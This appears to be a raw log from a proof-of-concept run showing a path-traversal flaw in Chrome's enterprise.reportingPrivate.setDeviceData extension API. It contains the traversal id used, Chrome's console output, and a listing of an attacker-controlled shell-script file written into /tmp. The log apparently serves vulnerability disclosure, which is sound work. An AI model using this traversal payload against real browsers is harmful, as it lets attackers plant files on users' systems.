=== before run: rm -rf /tmp/poc-ev-traversal ===

=== chrome stderr (filtered) ===
[175:175:0410/190411.533234:INFO:CONSOLE:44] "[poc] enterprise.reportingPrivate available: true", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (44)
[175:175:0410/190411.535297:INFO:CONSOLE:46] "[poc] dispatching setDeviceData with id = "../../../../../../../../../../../../../../../../tmp/poc-ev-traversal/x"", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (46)
[175:175:0410/190411.542689:INFO:CONSOLE:53] "[poc] setDeviceData callback fired. lastError = Failed to store the endpoint verification data.", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (53)
[175:175:0410/190411.544279:INFO:CONSOLE:56] "[poc] now check the host filesystem:", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (56)
[175:175:0410/190411.544448:INFO:CONSOLE:57] "[poc]   ls -la /tmp/poc-ev-traversal", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (57)
[175:175:0410/190411.544587:INFO:CONSOLE:58] "[poc]   cat /tmp/poc-ev-traversal/.*.Chrome.*", source: chrome-extension://ligjpamjdkfcbhpjlcebeimilmpogelc/background.js (58)

=== after run: ls -la /tmp/poc-ev-traversal ===
total 12
drwx------ 2 pocuser pocuser 4096 Apr 10 19:04 .
drwxrwxrwt 1 root    root    4096 Apr 10 19:04 ..
-rw------- 1 pocuser pocuser  145 Apr 10 19:04 .org.chromium.Chromium.NgyvUQ

=== leaked temp file content ===
#!/bin/sh
# >>> ATTACKER-CONTROLLED CONTENT WRITTEN BY CHROME BROWSER PROCESS <<<
# enterprise.reportingPrivate.setDeviceData path-traversal POC